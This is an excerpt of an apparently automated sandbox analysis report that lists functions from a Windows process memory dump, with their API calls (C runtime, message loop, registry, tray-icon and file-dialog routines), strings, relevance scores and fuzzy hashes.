API String ID: 1552873950-2806939583
Opcode ID: ecafd9310dd983bbeb8adcd2252de880fbd7cdbd4eade2512aabe00627e8cc70
Instruction ID: 6da2aa3bebdc17562cb42a7eda6b0dbdd1bd4555710a123639d1fb035e858a99
Opcode Fuzzy Hash: ecafd9310dd983bbeb8adcd2252de880fbd7cdbd4eade2512aabe00627e8cc70
Instruction Fuzzy Hash: FF5149B1D14258ABDF24DF65DC81AAEBBB9FF48304F1001AEB609A3241DB715E848F58

Function 00BF556D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BF55CB
_memcpy_s.LIBCMT ref: 00BF563D
__read_nolock.LIBCMT ref: 00BF569B
__filbuf.LIBCMT ref: 00BF56BE
_memset.LIBCMT ref: 00BF5702

Part of subcall function 00BF8C88: __getptd_noexit.LIBCMT ref: 00BF8C88

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 6144165ff69bcfd719b70aa37aa99b766954ae34ab2424f86f42b6890169cbb7
Instruction ID: b3beefcd7839398e26d3f6a67575a2817ac1e91e17bae4fdb093a8e2249ca9b6
Opcode Fuzzy Hash: 6144165ff69bcfd719b70aa37aa99b766954ae34ab2424f86f42b6890169cbb7
Instruction Fuzzy Hash: 8151A170A00A0DEBDF349F69C88067EB7E6EF50320F2486A9EB35972D0D7709D588B40

Function 00BD52B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BD52E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BD534A
TranslateMessage.USER32(?), ref: 00BD5356
DispatchMessageW.USER32(?), ref: 00BD5360

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: ced721ca5b6734a327e5c9fabb7fffe23452c6b884869e38804f552e90fe3d9d
Instruction ID: e2c390b768e479e74724542d73cb6aa182b44270995bd884b4bf72ef5d202019
Opcode Fuzzy Hash: ced721ca5b6734a327e5c9fabb7fffe23452c6b884869e38804f552e90fe3d9d
Instruction Fuzzy Hash: 0031CB70504B059BEB30CBA4DC88FBEB7E89B11354F2400ABE423973D1E7B4A989D755

Function 00BD1284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00BD1275,SwapMouseButtons,00000004,?), ref: 00BD12A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00BD1275,SwapMouseButtons,00000004,?), ref: 00BD12C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00BD1275,SwapMouseButtons,00000004,?), ref: 00BD12EB

Strings

Control Panel\Mouse, xrefs: 00BD12A6

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 2f42124e944f387a34ec3114134af01ec61602f365a4eeecaa94b356c8270bb9
Instruction ID: da5dbecb14f8ddf33d3b672c2700fa23aee707485c5ae63ffeb0d8b36dba527f
Opcode Fuzzy Hash: 2f42124e944f387a34ec3114134af01ec61602f365a4eeecaa94b356c8270bb9
Instruction Fuzzy Hash: FD115E71515208BFDB208FA9DC84EAFB7FCEF04750F1049AAF805E7210E2719E4097A4

Function 00C33D8A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00C62C4C), ref: 00C33DC4
GetLastError.KERNEL32 ref: 00C33DD3
CreateDirectoryW.KERNEL32(?,00000000), ref: 00C33DE2
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00C62C4C), ref: 00C33E3F

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: dfb2583ef9b075782ade3e2d93d5cc8fa6f559a0893afdc1020d171c2b07de91
Instruction ID: 555d3a04d0924b79a3c435a76e53756c2782eb4287bfc8f75a4e0528de8ceee2
Opcode Fuzzy Hash: dfb2583ef9b075782ade3e2d93d5cc8fa6f559a0893afdc1020d171c2b07de91
Instruction Fuzzy Hash: D021B0705182419FC710EF29C8819AFB7E4FE59764F204A5DF4A9C72A2DB30DA4ACB52

Function 00BE5B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BE5B58

Part of subcall function 00BE56F8: _memset.LIBCMT ref: 00BE5787
Part of subcall function 00BE56F8: _wcscpy.LIBCMT ref: 00BE57DB
Part of subcall function 00BE56F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00BE57EB

KillTimer.USER32(?,00000001,?,?), ref: 00BE5BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00BE5BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00C20CFC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 9d0683573905788f2cf09426023db2043aa22954759e933bf659d32b4a78d34f
Instruction ID: 3e2bd4b3fc1f7c01eae9bab90a935311fb34db1a8494437fd2ee0f5c0162e1ae
Opcode Fuzzy Hash: 9d0683573905788f2cf09426023db2043aa22954759e933bf659d32b4a78d34f
Instruction Fuzzy Hash: CC21CCB05047949FE7728B35DC95BEBBBECAB01308F1405CEE69E56182C7742984CB51

Function 00BE278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00BE49C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00BE27AF,?,00000001), ref: 00BE49F4

_free.LIBCMT ref: 00C1FA84
_free.LIBCMT ref: 00C1FACB

Part of subcall function 00BE29BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00BE2ADF

Strings

Bad directive syntax error, xrefs: 00C1FAB3

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: 9851ceedb24e29550b7bc62cc7f28de069d25cf9548de87e7cd41c3ad285e578
Instruction ID: 2dd61ab54978e4ed0828031363abf25798b7d9bff87ccccbeea06aed6aec9f7a
Opcode Fuzzy Hash: 9851ceedb24e29550b7bc62cc7f28de069d25cf9548de87e7cd41c3ad285e578
Instruction Fuzzy Hash: A7918E71910259AFCF14EFA5C8919EEB7B4FF06310F14447EF816AB2A1DB309A46EB50

Function 00C39B5E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00BE4AB2: __fread_nolock.LIBCMT ref: 00BE4AD0

_wcscmp.LIBCMT ref: 00C39C4E
_wcscmp.LIBCMT ref: 00C39C61

Strings

FILE, xrefs: 00C39B9A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: b0af1d806486c0ff34f59926bc4e0dbd6d722a0cd4062291ac0926bda3ac5bee
Instruction ID: f0555e920a1661ed3a85e180975d6b0f2cea0e220cd35124ff999c6c34e12744
Opcode Fuzzy Hash: b0af1d806486c0ff34f59926bc4e0dbd6d722a0cd4062291ac0926bda3ac5bee
Instruction Fuzzy Hash: 6F41CB31A402597ADF21ABA5DC45FEFBBFDDF45710F0004B9FA00A7280D7B19A448755

Function 00BE31BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C202AB
GetOpenFileNameW.COMDLG32(?), ref: 00C202F5

Part of subcall function 00BF01AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BE2A58,?,00008000), ref: 00BF01CF

Part of subcall function 00BF08F0: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00BF090F

Strings

X, xrefs: 00C202C3

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 2f7eb9a801f73b5ee46df51279041d5cce232fe79741e54080ff1d7f934bc965
Instruction ID: abd453765c0b84e4ba8a13297b6ca49d1aea4dbe3d296a38a6d4b1b37c0bab38
Opcode Fuzzy Hash: 2f7eb9a801f73b5ee46df51279041d5cce232fe79741e54080ff1d7f934bc965
Instruction Fuzzy Hash: 5D21A170A10298ABCF41EF94C845BEE7BF89F48304F10409AE505A7281DBB45A88CF91

Function 00C4CF8E Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8663076cf3c1b2a7de32bb2779fc81107e9701abb4d4cbe4b8f3452fa3ebfa7f
Instruction ID: 028c88744b07f32af94394c76d5f495dd067cdd15027231ab154ee7a9391d6fe
Opcode Fuzzy Hash: 8663076cf3c1b2a7de32bb2779fc81107e9701abb4d4cbe4b8f3452fa3ebfa7f
Instruction Fuzzy Hash: ABF128706083019FC714EF29C484A6ABBE5FF88314F14896EF8AA9B351D771E945CF92

Function 00BDAAAA Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF06E6: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00BF0717
Part of subcall function 00BF06E6: MapVirtualKeyW.USER32(00000010,00000000), ref: 00BF071F
Part of subcall function 00BF06E6: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00BF072A
Part of subcall function 00BF06E6: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00BF0735
Part of subcall function 00BF06E6: MapVirtualKeyW.USER32(00000011,00000000), ref: 00BF073D
Part of subcall function 00BF06E6: MapVirtualKeyW.USER32(00000012,00000000), ref: 00BF0745

Part of subcall function 00BEFE77: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00BDAC6B), ref: 00BEFED2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00BDAD08
OleInitialize.OLE32(00000000), ref: 00BDAD85
CloseHandle.KERNEL32(00000000), ref: 00C12E86

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 1e5169910a12f3b504068008cdc6cb3baf07cb3ae6ab848e8973146fa146d5b1
Instruction ID: 93b1448702415686ace14a9816fa4c502d1cc8d9fe6cb37a84e63ae711298d41
Opcode Fuzzy Hash: 1e5169910a12f3b504068008cdc6cb3baf07cb3ae6ab848e8973146fa146d5b1
Instruction Fuzzy Hash: CE8198B09002809E8B94DFBAE99D72D7BE5FB58748720866BE019C73F2EB7185048F55

Function 00BE59D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BE59F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00BE5A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00BE5ABB

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 9a2a249602333261dd8eeff03c05aa23ff062d3f03ace756910a8fcd90ea1fa8
Instruction ID: d8d404a6bb826df741585bd6e70730490b539290665aceae292734071ada1ed3
Opcode Fuzzy Hash: 9a2a249602333261dd8eeff03c05aa23ff062d3f03ace756910a8fcd90ea1fa8
Instruction Fuzzy Hash: 8F3173B0505B418FD730DF25D88979BBBF8FB48308F000A7EE59A87291D7756944CB52

Function 00BF586C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00BF5883

Part of subcall function 00BFA2CB: __NMSG_WRITE.LIBCMT ref: 00BFA2F2
Part of subcall function 00BFA2CB: __NMSG_WRITE.LIBCMT ref: 00BFA2FC

__NMSG_WRITE.LIBCMT ref: 00BF588A

Part of subcall function 00BFA328: GetModuleFileNameW.KERNEL32(00000000,00C943BA,00000104,00000004,00000001,00BF0F33), ref: 00BFA3BA
Part of subcall function 00BFA328: ___crtMessageBoxW.LIBCMT ref: 00BFA468

Part of subcall function 00BF3201: ___crtCorExitProcess.LIBCMT ref: 00BF3207
Part of subcall function 00BF3201: ExitProcess.KERNEL32 ref: 00BF3210

Part of subcall function 00BF8C88: __getptd_noexit.LIBCMT ref: 00BF8C88

RtlAllocateHeap.NTDLL(01140000,00000000,00000001,?,00000004,?,?,00BF0F33,?), ref: 00BF58AF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: e1c5f9ba104dff079ef34bbcf37aeb01787cc0ad4e93b8b94dea63a064bdf862
Instruction ID: 4ed6a10893eea503ba8d13c826cb40c5f3e31d4e27adca69e49447d81e6265d0
Opcode Fuzzy Hash: e1c5f9ba104dff079ef34bbcf37aeb01787cc0ad4e93b8b94dea63a064bdf862
Instruction Fuzzy Hash: 2301F171340B0EABD6342B68EC42B3E63D8DF827A1F2001B6F701AB182DE709C0943B0

Function 00C39135 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C39143

Part of subcall function 00BF2EB5: RtlFreeHeap.NTDLL(00000000,00000000,?,00BF9B84,00000000,00BF8C8D,00BF58F3), ref: 00BF2EC9
Part of subcall function 00BF2EB5: GetLastError.KERNEL32(00000000,?,00BF9B84,00000000,00BF8C8D,00BF58F3), ref: 00BF2EDB

_free.LIBCMT ref: 00C39154
_free.LIBCMT ref: 00C39166

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 144f5af94d943480d36d389951f06cd61afa83af8249d10b620ede2dc82f263b
Instruction ID: d17c31c063797504c0930c59a8e58ce5cd693daaf62a09ea78f080ec2b4f773d
Opcode Fuzzy Hash: 144f5af94d943480d36d389951f06cd61afa83af8249d10b620ede2dc82f263b
Instruction Fuzzy Hash: B7E012B5A1560242DA2466786944AA723EC9F48751B24045DBA1AE7243CE74E9458164

Function 00BD5E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 00C0E164

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: a871c04733e2a65f740ac0362c1690cbffa0baafba670ae1b13386e4ba36d0bd
Instruction ID: 68c8743f501eeaad272ed54a5b748c84e615b5dc2c51612c6505cf9777b7f0ec
Opcode Fuzzy Hash: a871c04733e2a65f740ac0362c1690cbffa0baafba670ae1b13386e4ba36d0bd
Instruction Fuzzy Hash: CC323674508241DFDB24DF14C494A6AFBE1FF84304F1489AEE88A9B362E735ED45DB82

Function 00BE48B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BE48FA

Strings

EA06, xrefs: 00C20821

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: a1a6f4adadd26ae11877fcb9a9021860e32124f15f72ce8bc8a9c766104bae6b
Instruction ID: 02f60d50acc9183ca3cb4d1d3895f68e7014bca64bec27cb13343ee99aff2705
Opcode Fuzzy Hash: a1a6f4adadd26ae11877fcb9a9021860e32124f15f72ce8bc8a9c766104bae6b
Instruction Fuzzy Hash: 82416926A041E89FDF219B6598917BF7FE5CB45310F6840F5E882FB287C7209E84D7A1

Function 00C4DF01 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 00C4DFD4

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

_wcscpy.LIBCMT ref: 00C4E063

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: d536131c554a44495d32d8c0660b2817ed2bad08196fa3d5544beef2cca58df2
Instruction ID: 265348cee0963877bec31621d6f1a1fef89a8b0ac19f52fe5ed800d7e08632ac
Opcode Fuzzy Hash: d536131c554a44495d32d8c0660b2817ed2bad08196fa3d5544beef2cca58df2
Instruction Fuzzy Hash: 6B911835A00504DFCB28EF18C5959ADB7F5FF59310B5584AAE81A9F362EB30ED05CB81

Function 00BE5F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00BE5FEF

Part of subcall function 00BF34CE: __lock.LIBCMT ref: 00BF34D4
Part of subcall function 00BF34CE: DecodePointer.KERNEL32(00000001,?,00BE6004,00C28675), ref: 00BF34E0
Part of subcall function 00BF34CE: EncodePointer.KERNEL32(?,?,00BE6004,00C28675), ref: 00BF34EB

Part of subcall function 00BE5F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00BE5F18
Part of subcall function 00BE5F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00BE5F2D

Part of subcall function 00BE5240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BE526C
Part of subcall function 00BE5240: IsDebuggerPresent.KERNEL32 ref: 00BE527E
Part of subcall function 00BE5240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00BE52E6
Part of subcall function 00BE5240: SetCurrentDirectoryW.KERNEL32(?), ref: 00BE5366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00BE602F

Memory Dump Source

